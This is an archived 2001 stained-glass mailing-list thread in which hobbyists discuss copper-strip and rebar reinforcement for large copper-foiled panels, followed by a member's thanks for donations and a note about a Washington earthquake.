Subject: Re: using copper strips for support
Date: Tue, 27 Feb 2001 11:31:49 -0600
Message-ID: <1970Jan1.000.0>
References: <<002401c0a0e9$c4be3dc0$f19156d1@sonyaamt>>
Organization: Sentury Insurance
Precedence: bulk

Sonya,
Thanks for the info about support! Actually my design is original. I was an art
teacher for 5 years and trained as a studio artist. I graduated with painting my
emphasis as well as a concentration in pottery(ceramics). I just got into
stained glass this summer. I have been always wanting to do stained glass and
finally just took a class and now I feel that this a real great medium for me to
create in, I am a woman possesed! I usually do all of my own drawings/patterns.
My problem I am having to overcome is that I draw out ideas that would be better
suited for paintings and need to drasticially simplify! My fingers are not
holding up to all the tiny pieces I end up with! The door panel design is of a
large leaf less tree running up the center and branching off onto the two
seperate panels. I have layers of ground or horizion lines behind with each
panel having a large pine tree on each, there is a pond that flows behind the
large central tree with a few rocks and the sky was completed with a clear glass
with a texture like crushed glass, very chunky texture. Difficult to explain. If
you are interested in this I would be willing to Fax you my sketch and do with
it what you want. My scanner is not reliable enough for me to send it that way.
Christy S.
( my husbands name comes up on the screen as the sender)

Sonya Amt wrote:

> Grant,
>
> I just did a transom for my parent's house that measured 73" x 22".  I used
> the copper strip to reinforce but I ran it from one end to the other solidly
> in a couple of places to give it reinforcement.  However, it was still very
> flexible so I don't know for sure if it worked.  What I ended up doing was
> building a frame for it and framing it before they hung it.  They didn't
> want it permanently installed because they move so often.  I am now working
> on a Tiffany piece that will be 48 x 32 finished.  I think I will definitely
> be using the rebar.  It looks so much stronger.  I understand wanting more
> classes.  I took the beginning and intermediate classes but they never
> really address such isssues as working with large pieces.  I would be very
> interested in the responses you receive.  On Bungi we don't necessarily see
> your responses so if you don't mind sharing I would so greatly appreciate
> it.
>
> Also I am intrigued by your design.  Is this something you've created or a
> pattern that you found?
>
> Sonya
>
> -----Original Message-----
> From: Grant Schultz [mailto:Fortschultz@centurytel.net]
> Sent: Monday, February 26, 2001 6:13 PM
> To: glass@bungi.com
> Subject: using copper strips for support
>
> --------------937F2ECCD6C16E64FB27D063
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>
> Hi to all!
> I am attempting a large diptich (2 panels that the designs flow together
> but will be separated by an inch or so between panels) It is copper
> foiled and  each measures 40 inches by 12 inches. It is of a large oak
> tree as well as pine trees, water,rocks etc. What is the proper rule for
> placing the copper supports strips in this work.? They will be installed
> on a bathroom door at my parents cabin. They will sit in the openings
> and then be framed in . I have cut small strips of this copper and
> placed it between pieces through out the piece. Is that all I do? I
> never have had to rebar but I do not think I have to do this, just use
> the copper strips right? I have never created such a long or this large
> of piece .
>
> Thanks to all who reply!
> Christy
> P.S. a local glass supplier just cleared out all glass and supplies,
> they are just doing glass repairs and jobs, no classes, bummer, but they
> had all the supplies and glass on sale 60 % of and such! Boy did I go
> nuts! That was so much fun! I snapped a little but I now have a lot of
> glass. It is kinda like having a fridge full of groceries and a cookie
> jar filled with cookies!  I love just sitting in my studio and looking
> around at all my glass.....:)
>
> --------------937F2ECCD6C16E64FB27D063
> Content-Type: text/html; charset=us-ascii
> Content-Transfer-Encoding: 7bit
>
> <!doctype html public "-//w3c//dtd html 4.0 transitional//en">
> <html>
> Hi to all!
> <br>I am attempting a large diptich (2 panels that the designs flow together
> but will be separated by an inch or so between panels) It is copper foiled
> and&nbsp; each measures 40 inches by 12 inches. It is of a large oak tree
> as well as pine trees, water,rocks etc. What is the proper rule for placing
> the copper supports strips in this work.? They will be installed on a
> bathroom
> door at my parents cabin. They will sit in the openings and then be framed
> in . I have cut small strips of this copper and placed it between pieces
> through out the piece. Is that all I do? I never have had to rebar but
> I do not think I have to do this, just use the copper strips right? I have
> never created such a long or this large of piece .
> <p>Thanks to all who reply!
> <br>Christy
> <br>P.S. a local glass supplier just cleared out all glass and supplies,
> they are just doing glass repairs and jobs, no classes, bummer, but they
> had all the supplies and glass on sale 60 % of and such! Boy did I go nuts!
> That was so much fun! I snapped a little but I now have a lot of glass.
> It is kinda like having a fridge full of groceries and a cookie jar filled
> with cookies!&nbsp; I love just sitting in my studio and looking around
> at all my glass.....<font size=+1>:)</font></html>
>
> --------------937F2ECCD6C16E64FB27D063--
>
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From owner-glass Wed Feb 28 14:13:25 2001
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From: "Susan Dale" <susan9977@hotmail.com>
To: glass@bungi.com
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Subject: Earthquake-and very quite list
Date: Wed, 28 Feb 2001 21:44:18 -0000
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Hi All,


I have been lurking for a week,just about to get the computer running good 
again.  Two internal cards are defunct, will be replaced next week, and then 
will be fully operational. Still technically homeless too.

Main reason for un-lurking momentarily, Elisabeth's wonderful message, and 
to thank you all for your help, prayers, and mainly financial help.

As I find all the numerous boxes as I have been packed back and forth each 
one will get a personal letter from me, and an update on the currant 
situation. I will post more on this tonight.

An 7.0 earthquake 30 miles deep got most of coastal Washington a few short 
hours ago. This is one area of interest to me, and the Defuco (sp) plate is 
very deep subduction plate, so watch for all the 'quite' Volcano's in the 
area, to get some activity.  This deep is where magma movement is felt.

We have a lot of glass artists, and ArtMetal members in that area, and all 
will have felt it, real-time. The USGS sites are overloaded right now, but 
the siesmicity sites for volcano's are accessible on the web.

Just a 'heads up' for anyone who has not been tuned in to CNN the last few 
hours.


Thank you all, you have preserved my life, and my reason for living.  I can 
never thank you all enough.  As I am able, each donation will be repaid.

Lee (Laylah) Boe  (Lady Lee)
_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com

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From owner-glass Wed Feb 28 15:14:53 2001
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X-Path: dellepro.com!gunnx4
From: Suzanne Gunn <gunnx4@dellepro.com>
To: Susan Dale <susan9977@hotmail.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Earthquake-and very quite list
Date: Wed, 28 Feb 2001 16:48:38 -0600
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Good to hear from you Lee.  Be well.

Suzanne

Susan Dale wrote:
> 
> Hi All,
> 
> I have been lurking for a week,just about to get the computer running good
> again.  Two internal cards are defunct, will be replaced next week, and then
> will be fully operational. Still technically homeless too.
> 
> Main reason for un-lurking momentarily, Elisabeth's wonderful message, and
> to thank you all for your help, prayers, and mainly financial help.
> 
> As I find all the numerous boxes as I have been packed back and forth each
> one will get a personal letter from me, and an update on the currant
> situation. I will post more on this tonight.
> 
> An 7.0 earthquake 30 miles deep got most of coastal Washington a few short
> hours ago. This is one area of interest to me, and the Defuco (sp) plate is
> very deep subduction plate, so watch for all the 'quite' Volcano's in the
> area, to get some activity.  This deep is where magma movement is felt.
> 
> We have a lot of glass artists, and ArtMetal members in that area, and all
> will have felt it, real-time. The USGS sites are overloaded right now, but
> the siesmicity sites for volcano's are accessible on the web.
> 
> Just a 'heads up' for anyone who has not been tuned in to CNN the last few
> hours.
> 
> Thank you all, you have preserved my life, and my reason for living.  I can
> never thank you all enough.  As I am able, each donation will be repaid.
> 
> Lee (Laylah) Boe  (Lady Lee)
> _________________________________________________________________
> Get your FREE download of MSN Explorer at http://explorer.msn.com
> 
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
----
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To send to the list,      please mail to: glass@bungi.com
Archives available at http://www.bungi.com/glass